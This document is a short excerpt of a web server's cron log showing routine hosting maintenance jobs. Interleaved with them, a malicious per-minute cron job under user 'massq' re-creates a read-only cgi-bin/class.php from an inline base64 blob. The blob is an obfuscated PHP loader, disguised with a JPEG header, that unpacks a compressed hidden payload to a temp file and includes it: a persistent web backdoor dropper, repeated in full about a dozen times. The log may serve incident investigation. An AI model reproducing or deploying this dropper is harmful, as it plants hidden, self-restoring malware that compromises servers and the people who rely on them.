Sep  4 09:39:01 server CROND[23496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:39:01 server CROND[23497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:40:01 server CROND[24044]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:40:01 server CROND[24046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:40:01 server CROND[24049]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:40:01 server CROND[24051]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:40:01 server CROND[24052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:40:01 server CROND[24054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:40:01 server CROND[24055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:40:01 server CROND[24057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:41:01 server CROND[24880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:41:01 server CROND[24881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:41:01 server CROND[24879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:42:01 server CROND[25260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:42:01 server CROND[25262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:42:01 server CROND[25263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:42:01 server CROND[25264]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 09:43:01 server CROND[25652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:43:01 server CROND[25653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:43:01 server CROND[25654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:44:01 server CROND[26048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:44:01 server CROND[26049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:44:01 server CROND[26050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:45:01 server CROND[26528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:45:01 server CROND[26532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:45:01 server CROND[26536]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:45:01 server CROND[26537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:45:01 server CROND[26541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:45:01 server CROND[26539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:45:01 server CROND[26538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:46:01 server CROND[27381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:46:01 server CROND[27382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:46:01 server CROND[27383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:47:01 server CROND[27762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:47:01 server CROND[27763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:47:01 server CROND[27764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:48:01 server CROND[28145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:48:01 server CROND[28146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:48:01 server CROND[28147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:49:01 server CROND[28527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:49:01 server CROND[28528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:49:01 server CROND[28529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:50:01 server CROND[29010]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:50:02 server CROND[29015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:50:02 server CROND[29019]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:50:02 server CROND[29023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:50:02 server CROND[29028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:50:02 server CROND[29022]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:50:02 server CROND[29027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:50:02 server CROND[29021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:50:02 server CROND[29025]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
